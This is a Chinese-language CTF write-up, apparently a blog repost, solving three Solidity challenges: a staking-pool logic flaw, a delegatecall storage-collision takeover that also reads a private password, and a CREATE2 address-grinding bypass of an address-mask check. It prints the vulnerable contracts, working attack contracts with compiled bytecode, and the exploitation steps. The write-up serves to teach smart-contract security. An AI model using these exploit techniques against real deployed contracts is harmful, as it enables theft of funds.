solidity漏洞实践(二)

1.nc 1.15.39.10 10001
源码:

pragma solidity ^0.6.12;
pragma experimental ABIEncoderV2;
library SafeMath {
    
    
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
    
    
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
    
    
        require(b <= a, "SafeMath: subtraction overflow");
        uint256 c = a - b;

        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
    
    
        if (a == 0) {
    
    
            return 0;
        }

        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
    
    
        require(b > 0, "SafeMath: division by zero");
        uint256 c = a / b;

        return c;
    }
    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
    
    
        require(b != 0, "SafeMath: modulo by zero");
        return a % b;
    }
}
contract ERC20 {
    
    
    using SafeMath for uint256;

    mapping (address => uint256) public _balances;

    mapping (address => mapping (address => uint256)) public _allowances;

    string public _name;
    string public _symbol;
    uint8 public _decimals;

    constructor (string memory name, string memory symbol) public {
    
    
        _name = name;
        _symbol = symbol;
        _decimals = 18;
    }

    function balanceOf(address account) public view returns (uint256) {
    
    
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public virtual returns (bool) {
    
    
        _transfer(msg.sender, recipient, amount);
        return true;
    }

    function approve(address spender, uint256 amount) public virtual returns (bool) {
    
    
        _approve(msg.sender, spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public virtual returns (bool) {
    
    
        _transfer(sender, recipient, amount);
        _approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount));
        return true;
    }

    function _transfer(address sender, address recipient, uint256 amount) internal virtual {
    
    
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        _balances[sender] = _balances[sender].sub(amount);
        _balances[recipient] = _balances[recipient].add(amount);
    }

    function _mint(address account, uint256 amount) internal virtual {
    
    
        require(account != address(0), "ERC20: mint to the zero address");
        _balances[account] = _balances[account].add(amount);
    }

    function _burn(address account, uint256 amount) internal virtual {
    
    
        require(account != address(0), "ERC20: burn from the zero address");
        _balances[account] = _balances[account].sub(amount);
    }

    function _approve(address owner, address spender, uint256 amount) internal virtual {
    
    
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
    }

}

contract ZT is ERC20("ZERO TOKEN", "ZT"){
    
    
    //RULE 1
    bytes32 constant RULE_WITHDRAW_WANT = keccak256(abi.encodePacked("withdraw"));

    //RULE 2
    bytes32 constant RULE_NONE_WANT = keccak256(abi.encodePacked("depositByValue"));

    constructor()public{
    
    
        _mint(msg.sender,10000000*10**18);
    }
    function depositByWant(uint _amount)external payable{
    
    
        uint amount = _amount.mul(10**18);
        require(msg.value>=amount,"you want to trick me?");
        MkaheChange(msg.sender,amount,RULE_NONE_WANT);
    }

    function withdraw(uint _amount)external payable returns(bool){
    
    
        uint amount = _amount.mul(10**18);
        require(balanceOf(msg.sender)>=amount);
        _balances[msg.sender] = _balances[msg.sender].sub(amount);
        return MkaheChange(msg.sender,amount,RULE_WITHDRAW_WANT);
    }

    function MkaheChange(address to,uint amount,bytes32 ID)internal returns(bool){
    
    
        if(ID==RULE_NONE_WANT)
        {
    
    
            _balances[msg.sender]=_balances[msg.sender].add(amount);
            return true;
        }else if(ID==RULE_WITHDRAW_WANT){
    
    
            bool a;
            (a,)=payable(to).call.value(amount)("");
            require(a,"withdraw fail");
            return true;
        }
        else{
    
    
            return false;
        }
    }

    fallback()external payable{
    
    
        MkaheChange(
            msg.sender,
            msg.value,
            RULE_NONE_WANT
        );
    }
}
contract ZTstakepool{
    
    
    ZT token;
    uint  totalsupply;
    string symbol;
    mapping(address=>uint)internal workbalance;
    mapping(address=>bool)internal passed;

    struct userInfo{
    
    
        uint amount;
        uint duration;
        uint startTime;
    }
    mapping(address=>userInfo)internal userDetails;

    constructor()public{
    
    
        token =new ZT();
        symbol = "stTGT";
        totalsupply = token.balanceOf(address(this));
    }

    function getDetails(address account)public view returns(userInfo memory){
    
    
        return userDetails[account];
    }

    function workBalanceOf(address account)public view returns(uint){
    
    
        bool pass=passed[account];
        if(pass){
    
    
            return workbalance[account];
        }else{
    
    
            return 0;
        }
    }

    function Zt()public view returns(address){
    
    
        return address(token);
    }

    function stake(uint amount,uint blocknumber)external{
    
    
        require(blocknumber>=1,"At least 1 block");

        userInfo storage user = userDetails[msg.sender];

        user.startTime = block.number;
        user.duration = blocknumber;
        user.amount += amount;

        token.transferFrom(msg.sender,address(this),amount*10**18);
        workbalance[msg.sender] += blocknumber;

    }

    function unstake()external{
    
    
        userInfo storage user = userDetails[msg.sender];
        require(block.number>=user.startTime+user.duration,"you are in a hurry ");
        passed[msg.sender] = true;
        uint amount = user.amount;
        user.amount = 0;
        token.transfer(msg.sender,amount*10**18);
    }

    function swap(address from,address to,uint amount)external{
    
    
        require(from==address(this)&&to==address(token));
        uint balance = workBalanceOf(msg.sender);
        require(balance>=amount,"exceed");
        workbalance[msg.sender] -= amount;
        token.transfer(msg.sender,amount*10**18);
    }
}

contract setup{
    
    
    ZTstakepool public stakePool;
    ZT public erc20;
    bool solve;
    constructor()public{
    
    
        stakePool =new ZTstakepool();
        erc20 = ZT(payable(stakePool.Zt()));
    }
    function isSolved()public view returns(bool){
    
    
        return solve;
    }
    function complete()public{
    
    
        require(erc20.balanceOf(msg.sender)>=500000*10**18);
        solve = true;
    }
}

解题分析
看完合约就能够发:现解题方法一定在stake,unstake和swap里面。最开始我一直在思考workBalance的溢出问题,然后放弃了,之后我发现stake中影响workbalance的只有blockNumber而和amount没有关系,unstake可直接将passed修改为true并不会重置,并且swap处并没有检查是否完成工作,所以可以直接提取。
解题步骤:
1.部署合约

2.根据合约地址得到三个合约

3.调用stake函数,输入0和1区块,目的是为了调用unstake函数(但后面我发现可以直接调用)

4.调用unstake函数,将passed修改为true,从而能够顺利取到workbalance

5.再次调用stake函数,区块数输入500000

6.查看workBalance余额

7.执行swap函数,将workBalance转换为balance

8.查看我们ZT的余额

9.满足completed条件,直接调用,isSolved变为true

10.提交题目,拿到旗帜!

2.nc 1.15.39.10 10004
源码:

pragma solidity ^0.5.10;

contract Defuse{
    
    
    bool public Explode = false;
    address public launcherAddress;
    bytes32 private password;
    bool public powerState = true;
    bytes4 constant launcher_start_function_hash = bytes4(keccak256("changedeadline(uint256)"));
    Launcher launcher;

    function checkPassword() public returns (bytes32 result)  {
    
    
        bytes memory msgdata = msg.data;
        if (msgdata.length == 0) {
    
    
            return 0x0;
        }
        assembly {
    
    
            result := mload(add(msgdata, add(0x20, 0x24)))
        }
    }

    modifier onlyOwner(){
    
    
        require(checkPassword() == password);
        require(msg.sender != tx.origin);
        uint x;
        assembly {
    
     x := extcodesize(caller) }
        require(x == 0);
        _;
    }

    modifier notExplode(){
    
    
        launcher = Launcher(launcherAddress);
        require(block.number < launcher.deadline());
        Explode = true;
        _;
    }

    constructor(address _launcherAddress, bytes32 _fakeflag) public {
    
    
        launcherAddress = _launcherAddress;
        password = _fakeflag ;
    }
    function setCountDownTimer(uint256 _deadline) public onlyOwner notExplode {
    
    
        launcherAddress.delegatecall(abi.encodeWithSignature("changedeadline(uint256)",_deadline));
    }
}

contract Setup {
    
    
    Defuse public defuse;

    constructor(bytes32 _password) public {
    
    
        defuse = new Defuse(address(new Launcher()), _password);
    }
    function isSolved() public view returns (bool) {
    
    
        return defuse.powerState() == false;
    }
}
contract Launcher{
    
    
    uint256 public deadline;
    function changedeadline(uint256 _deadline) public {
    
    
        deadline = _deadline;
    }

    constructor() public {
    
    
        deadline = block.number + 100;
    }
}

解题分析:分析合约后发现合约中并没有能够直接修改目标状态变量的语句,但delegatecall吸引了我的注意力,这个函数能利用的地方太多了。要执行delegatecall就需要执行setCountDownTimer,则需要满足onlyOwner和notExplope.

onlyOwner第一个条件涉及到checkPassword,需要我输对密码,
也就是说我的data从第六十八个字节开始需要是密码。第二个条件意味着我需要编写合约进行攻击,第三个条件需要我的攻击合约地址为零,因此把攻击代码放入构造函数进行攻击。

观察notExplode我发现,他居然直接修改了他的launcher地址,这就意味着我可以随意编写自己的launcher,对他进行攻击。它需要我们在100个区块之内进行执行,否则无法通过。

查看Launcher的changedeadline函数,我发现deadline在storage(0)。

而Defuse的storage(0)中包含Explode和laucherAddress,因此我们可以通过调用changedeadline来修改laucherAddress,再进行第二次调用则会通过notExplode来将laucher修改为我自己的攻击合约。
分析完成进行攻击。
攻击合约:

contract attack{
    
    
    Defuse defuse;
    constructor(address _addr)public{
    
    
        defuse = Defuse(_addr);
        address(defuse).call(abi.encodeWithSignature("setCountDownTimer(uint256)",
         0x000000000000000000000037Af4cff1932659DDaD9Cc00e1235F09C03c766900, 
         0x50ff0f52db8fd58abf094db7ef8e56acd1e5250dcb9dbd6e5a5b3f2b67d00e3a));
         address(defuse).call(abi.encodeWithSignature("setCountDownTimer(uint256)",
         0x000000000000000000000037Af4cff1932659DDaD9Cc00e1235F09C03c766900, 
         0x50ff0f52db8fd58abf094db7ef8e56acd1e5250dcb9dbd6e5a5b3f2b67d00e3a));
    }
}
contract attackLauncher{
    
    
    bool public Explode = false;
    address public launcherAddress;
    bytes32 private password;
    uint256 public deadline ;
    constructor()public{
    
    
        deadline = block.number+100000;
    }
    
    function changedeadline(uint256 _deadline) public {
    
    
        deadline = 0x0000000000000000000000000000000000000000000000000000000000000000;
    }
}

攻击步骤:
1.部署合约:

2.部署attackLaucher

3.得到密码,由于密码是private的,我们通过JS的方式拿到密码

4.查看他的storage(0)格式

5.知道格式和密码后构造我们的data

6.构造完成后直接攻击,将defuse代码放入参数。

7.攻击成功

8.powerState成功改变

9.调用isSolved,目标完成

10.提交题目,拿到旗帜!

3.nc 1.15.39.10 10008
源码:

pragma solidity ^0.6.12;
contract betToken{
    
    
    mapping(address=>uint)public balance;

    constructor()public{
    
    
         balance[msg.sender] += 10000000 *10 **18;
     }

    function balanceOf(address account)public view returns(uint){
    
    
         return balance[account];
    }

    function transfer(address to,uint amount)external{
    
    
        _transfer(msg.sender,to,amount);
    }

    function _transfer(address from,address to,uint amount)internal{
    
    
        require(balance[from] >= amount,"amount exceed");
        require(to != address(0),"you cant burn my token");
        require(balance[to]+amount >= balance[to]);
        balance[from] -= amount;
        balance[to] += amount;
    }
}
contract betGame{
    
    
    //only my family can use the whole contract

    // i will check your appearance to check if you are my family
    betToken public token;

    bytes20 internal appearance = bytes20(bytes32("ZT"))>>144;
    bytes20 internal maskcode = bytes20(uint160(0xffff));

    mapping(address=>bool)public status;

    event SendFlag(address addr);

    constructor()public{
    
    
        token = new betToken();
    }

    modifier only_family{
    
    
        require(is_my_family(msg.sender),
        "no no no,my family only");
        _;
    }

    modifier only_EOA{
    
    
        uint x;
        assembly {
    
    
            x := extcodesize(caller())
            }
        require(x == 0,"Only EOA can do that");
        _;
    }

    function is_my_family(address account) internal returns (bool) {
    
    
        bytes20 you = bytes20(account);

        bytes20 code = maskcode;
        bytes20 feature = appearance;

        for (uint256 i = 0; i < 34; i++) {
    
    
            if (you & code == feature) {
    
    
                return true;
            }

            code <<= 4;
            feature <<= 4;
        }
        return false;
    }
    function share_my_vault()external only_EOA only_family{
    
    
        token.transfer(msg.sender,token.balanceOf(address(this)));
    }

     function payforflag() public{
    
    
        require(token.balance(msg.sender) >= 10000000 *10 **18, "Try again");
        emit SendFlag(msg.sender);
    }
}

解题分析:
通过计算我得到appearance为0x0000000000000000000000000000000000005a5e
maskcode为0x000000000000000000000000000000000000ffff;
首先我们看到能够发送事件SendFlag的只有函数payforflag,而要调用这个函数需要我们的余额大于100000001018,也就是该合约的余额,所以我们要调用share_my_vault函数,就需要满足两个修饰符。
only_EOA与上题一样,需要我们提供构造函数进行攻击。重点在only_family,而only_family又需要我们使is_my_family函数返回true,也就是本题的重点。

这个函数需要我们使you跟code进行与运算,结果要等于feature。每次for循环都会使code和feature的二进制值左移四位,也就是在十六进制中左移一位,而由于code和feature初始值都只有后四位有值,且在for循环中移位也是同步的,feature为ffff,也就意味着我们的you中需要包含code的四个数字值,跟code做与运算后就会得到feature本身。

但you是什么呢,起初我以为可以自己进行构造,但很快我发现我天真了,you是msg.sender,也就是我合约的地址,而合约地址一般是不可控的,所以我使用了creat2操作来得到我满足条件的合约地址。
攻击合约:

ccontract attack{
    
    
    address bet =0xE3DfE1cdFf8F4F37a527fdaB43C1E9FD98384E0d;
    constructor()public{
    
    
        bet.call(abi.encodeWithSignature("share_my_vault()"));
        bet.call(abi.encodeWithSignature("payforflag()"));
    }
    function complete()public{
    
    
        bet.call(abi.encodeWithSignature("payforflag()"));
    }
}


contract DeployAttack {
    
    
  bytes attackCode = hex"60806040527319732f5257cb68b8f54fe8cd3a7120a39b7a6a106000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555034801561006457600080fd5b5060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166040516024016040516020818303038152906040527fa3442ead000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff83818316178352505050506040518082805190602001908083835b60208310610152578051825260208201915060208101905060208303925061012f565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d80600081146101b4576040519150601f19603f3d011682016040523d82523d6000602084013e6101b9565b606091505b50505060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166040516024016040516020818303038152906040527f3cdb3d5d000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff83818316178352505050506040518082805190602001908083835b602083106102a95780518252602082019150602081019050602083039250610286565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d806000811461030b576040519150601f19603f3d011682016040523d82523d6000602084013e610310565b606091505b5050506101c9806103226000396000f3fe608060405234801561001057600080fd5b506004361061002b5760003560e01c8063522e117714610030575b600080fd5b61003861003a565b005b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166040516024016040516020818303038152906040527f3cdb3d5d000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff83818316178352505050506040518082805190602001908083835b602083106101275780518252602082019150602081019050602083039250610104565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d8060008114610189576040519150601f19603f3d011682016040523d82523d6000602084013e61018e565b606091505b50505056fea2646970667358221220f8461c6396c166298d447dc6f4443fe1ecc58973f8ac95c26af36310a94099bd64736f6c634300060c0033";

  function deploy(bytes32 salt) public {
    
    
    bytes memory bytecode = attackCode;
    address addr;
      
    assembly {
    
    
      addr := create2(0, add(bytecode, 0x20), mload(bytecode), salt)
    }
  }
  function getHash()public view returns(bytes32){
    
    
      return keccak256(attackCode);
  }
}
}

攻击步骤:
1.部署合约

2.将目标合约地址放入attck合约,编译attack合约并获取attack合约字节码

3.将字节码放入DeployAttack合约,并部署

4.执行getHash函数得到attack字节码的哈希值

5.将DeployAttack函数的地址和字节码哈希值放入脚本代码

6.执行脚本代码,计算出salt和生成的地址

7.将生成的salt值放入deploy函数中执行(由于会部署合约,需要消耗较多的gas,需在小狐狸处手动设置gas).

8.查看我们的攻击合约的余额,余额增加,攻击应该成功了

9.提交旗帜发现需要交易的哈希值,区块链浏览器上查看

10.夺旗,成功

猜你喜欢

转载自blog.csdn.net/m0_68764244/article/details/127195829